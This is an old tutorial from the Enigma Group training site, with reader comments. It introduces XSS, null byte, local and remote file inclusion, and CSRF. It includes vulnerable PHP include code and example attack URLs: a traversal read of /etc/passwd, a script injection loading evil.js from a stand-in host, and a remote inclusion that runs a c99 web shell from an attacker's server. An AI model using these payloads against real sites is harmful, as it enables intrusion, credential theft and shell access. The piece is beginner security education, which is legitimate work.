EG Information
Training Missions
Knowledge Bank
Pimp Us Out!
Has Enigma Group Helped You? Then Help Us By Advertising For Us. Place One Of The Following Images On Your Site And Create A Link Back To Enigma Group.
|
| |
Affiliates
|
|
Enigma Group's Articles
Return to Category Selection
Common Internet Vulnerabilities - Submitted By: CrashOverron 2008-05-21 19:56:49
/================= | Table of Contents | =================/ 1. Intro 2. XSS 3. Null Byte 4. LFI 5. RFI 6. CSRF 7.Conclusion -========- | 1. INTRO | -========- Hey, I'm CrashOverron and this article has been written in order for people to come to one location and learn about a few of the most common internet exploits out there. Ok, lets start off with the usual stuff; neither myself nor this site are responsible for your actions after reading this article blah blah blah. ======== + 2. XSS + ======== XSS stands for Cross-site scripting. During a XSS hack typically a page is sent a script by the attacker; common tags used for such an attack may include: SCRIPT, OBJECT APPLET, EMBED, and FORM Typically the attacker will use internet scripting languages such as Javascript, VBScript, HTML, Perl, or ActiveX. examples: <script>document.write("h4x0rd by CrashOverron");</script> <img src=http://www.somesite.com/evil.js" /> ============== + 3. Null Byte + ============== The NULL character is nothing more than...a value of zero. In Null Byte attacks the null character is often represented by \0 or %00. The null character, I believe, forces the code to automatically exit leaving us with the source. http://www.somesite.com/index.php?page=admin%00on a vulnerable page this would result in us viewing the source of the admin page, it being PHP, CGI, etc ======== + 4. LFI + ======== LFI is an acronym for Local File Inclsion. Often hosts save their password files on their server online in a directory just a linux does in the /etc/passwd directory. Once you have this file, you simply take it and crack the password or whatever you need to do with it. In order to get to the file you must go back several directories first. LFI exploits are much like RFI, in the aspect that both include a page in the PHP, so the code could look something roughly like <?php include(" http://www.somesite.com/" . $_GET['page']); ?> which then your LFI attack could look like this http://www.somesite.com/index.php?page=../../../../../../../etc/passwdthen you have the password file; which is typically useless unless you get the shadow file, which wont be available but this would open a window for multiple things. ======== + 5. RFI + ======== RFI, similar to LFI, stands for Remote File Inclusion. For an RFI attack you will need a remote file hosted somewhere, such as a c99 script hosted on your website. Often, if you save your PHP as .txt, the page will often still interpret the code and execute the commands. So the source code for an exploitable site may look similar to this <?php include($_GET['page'] . '.php'); ?> which then we would be able to execute our c99 code like this http://www.somesite.com/index.php?page=http://mysite.com/c99.txt?the ? after my malicious page is in case they have anything following the page such as in the example, I have .php following the page, everything gets turned into a perameter which will not get executed ========= + 6. CSRF + ========= CSRF stands for Cross Site Request Forgery. IMO CSRF is a hybrid exploit made between XSS and phishing. In CSRF you are trying to force a user to view something without knowing it; for example, as KillGuppy uses in his CSRF video, changing the admin's password without them even knowing it, by simply viewing your avatar. Your avatar code could look something like this  if this was set as your avatar or sig then everyone that viewed it would change their password, unknowingly, to "h4x0rd". There are other ways to implement CSRF attacks, but this is one of the most basic. -==============- | 7. Conclusion | -==============- Thank you for reading this article, I hope it helped you learn alteast something that you didn't already know or helped you understand something a little bit better. I may write an article soon on how to secure your site from a few of these attacks or possibly get one of my teammates to write it. Peace, CrashOverron Return to Category Selection
Comment By: destroyer 2008-07-28 04:25:22
thanks :P
ill read it sometimes until i understand propely
Comment By: ad0k 2009-06-19 16:57:51
The guide is very good, explains the basics of each type of injection
Thank you
Comment By: ndls 2011-06-16 06:04:23
this is grat .....plez can u give me some detail information about it or tell me about ur next post in this topic......i know...im late in post and new in here...........plz tell me..........
Comment By: dnatrixene135 2011-07-13 23:52:12
It's missing a snippet of code under the CSRF category, but I think we can figure it out.
Comment By: Blackwood82 2011-09-05 22:48:09
Right, left us hanging lol. It is all good though. If we are to hack we must figure somethings out on our own.
If you wish to submit a comment, you must be a registered member and logged in. Login or Register.
Return to Category Selection
|
| |
|
|
Who Visited EnigmaGroup Today?
1577 Guests, 269 Users (180 Spiders)
TheHarrisonW, Vreality2007, trueorfalse, Hessesian, whisperer, strudels, advenlydent, Obop, zach, blackknight911, ddxc, suetekh, Vengeance987, m0rt, 2345, whoami, electro-technic, riesenjoe, Bumpadjuppy, IvanDimitriev, Distorted, nmobin27, RomeoG, timetrust, 2142, 3ntr0py, BillTuer, advilapyday, lotato, Rex_Mundi, hkevin, lonely.connection, CloverCipher, vnd, aurena, rospark, valy1177, Blavatsky, learning, st3alth, Partisan, hackaday, K0gller, fitz, DrOptix, Jayjay, JohnMalkovitzch, psychomarine, Vspectrum, San Marino, TinCardinal, brunoriversyhn, code-g, yshiau, Psiber_Syn, Klosse, Seasharp, obencefoozy, SlayingDragons, Link-, tinuigimeni, jasonbourne, Fred, GothicLogic, somebody777, Meonkzt, CJ_Omaha, jearrorne, cls777, unsugsNashy, Balksnuntails, Sir D. Naut, batsbargy, Rik, Macabre, ellisp, Nightraven, Iccyx, Repuhlsive, vipervince2002, Janomatrix, lol, veceattainc, techno, Exclaw, limited, Nikhil, evjfvir967nj, Mod777, dark_void, nermtode, Tjm, bjy1997, hecky, saraf, elprof, damoniceht, trik, jordan86, SnoopSky, dan_movie, OnetInsolefon, darkfire1515, seojlhmyrhwh, Thoplehap, MaxMeier, 1028rajeev, Abhinav2107, autotuneuser, alexelixir, Tauya, Jozinbrejl, kernel_mod, quolc, anandoump, vladavlada, Taicadine, AnnaNoult, GreenTiger, baripadatimes, Ewing, Blackbeard, thepuppeteer, BON-SELE, hak4r, Unotohumsmush, NIGHTWOLF, m4f10, avacraft, becool, thecoder, n01se, alpha1, saki, ObesseJew, ActictGlync, sajan, unicornrainbow, Domihoolbob, matt.14, max66, SnowFury, Spud101, myfabregas, Ausome1, kajman121, Frudopvia, ideveloper6, OLOLO, Bugshuppy, lamb, VagWirura, LialiTiTviors, Ordeptpen, scifics, Pozycj-Z21, Gkjt, interPuscruse, aaftab, TheCheeseDemon, blackcyxx21, jollyjimbo, N4g4c3N, rineDriekly, Rap70r, Xargos, flarornEral, ovetz13, sonu sahu, Breezy, emitleBen, Hackpad, JWTSR, nicyun, kaizo, itevainee, luke460, AverageJoe, zeratu92, litbk, Mr.Pickle, mannavard1611, LoopyLion, NexusVos, mtroscheck, burberrybagsjr, nikedunksxm, xordux, jeho, Lonewolf034, Dragonite, nhorton, Reloaded, Odile, Kaptain_k1rk, Teefelltugh, grizzly, posthuman01, jakesboy2, pwnpwnlolz, Sabo, Lakhoamnmek, Røgue, dot_Cipher, mori, snickerless1, cart1m, Xendz, KELATALFTUS, hubris, Afrika, welepocourl, carpinteyrofbt, ReottphoffBom, Reahastegah, pumashoesld, pdanielt, dmac006, DnA-Ender, Red Fox, couptupleakb, ryanjcrook, iMaxx, sh3llcod3, TimHortons, EmilaHapsaums, Feld Grau, burgeoningneophyte, Maroonhat, CookieAu, tinkansinar, Mitodina, timberlandoutletlufc, zsefvy, guccioutletox, AlexDiru, AbercrombieFitchhl, Ryuske, r0z4, slchill, kalak55, Ph4Kt480ii, beefarn, Jigoku, WrossyJes, pollolololo, ZepSung, Fragility, jell0, C9019, Othrguy, Noticon, KIKNWING, llasarus, mdubz, leah027, iellswo, MAZI_, Estilaamoli, subtentar, Trollorful, no, nas0151, Traybo, howisthechicken, thethird3y3, Somethingclever, marplusz, MSI52 |
| |
|
|
|
|
|